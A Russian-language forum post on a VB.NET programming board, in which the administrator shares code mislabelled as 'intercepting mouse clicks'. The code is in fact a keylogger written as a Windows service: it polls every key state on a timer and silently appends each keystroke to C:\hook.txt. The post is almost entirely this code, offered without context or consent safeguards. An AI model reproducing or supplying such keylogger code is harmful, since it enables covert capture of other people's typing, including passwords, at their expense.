Форум Команды NeTTeam

Форум команды программирования на vb.net
Текущее время: 20-04, 13:25

Часовой пояс: UTC + 3 часа




Начать новую тему Ответить на тему  [ 1 сообщение ] 
Автор Сообщение
 Заголовок сообщения: Мышь,клавиатура
СообщениеДобавлено: 24-07, 07:45 
Не в сети
Администратор
Аватара пользователя

Зарегистрирован: 19-07, 19:51
Сообщения: 128
Откуда: пгт.Ванино
Код:

перехват нажатий мыши


Imports System.IO

Public Class Service1

    Public Declare Function GetKeyState Lib "user32.dll" (ByVal nVirtKey As Long) As Integer
    Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
    Public s As String
    Public i As Integer
    Public KeyFGKS(255) As Integer
    Public WithEvents tm As New Timers.Timer
    Protected Overrides Sub OnStart(ByVal args() As String)
        tm.Enabled = True
        tm.Interval = 50
        tm.Start()
    End Sub

    Protected Overrides Sub OnStop()
        tm.Stop()
        tm.Enabled = False
    End Sub

    Private Sub tm_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles tm.Elapsed
        For i = 1 To 255
            If Not GetKeyState(i) = KeyFGKS(i) And GetAsyncKeyState(i) <> 0 Then
                KeyFGKS(i) = GetKeyState(i)
                s = Chr(i).ToString
                File.AppendAllText("C:\hook.txt", s & vbCrLf)
                Exit For
            End If
        Next
    End Sub

End Class



Вернуться к началу
 Профиль  
 
Показать сообщения за:  Поле сортировки  
Начать новую тему Ответить на тему  [ 1 сообщение ] 

Часовой пояс: UTC + 3 часа


Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 0


Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения

Найти:
Перейти:  
cron
Powered by Forumenko © 2006–2014
Русская поддержка phpBB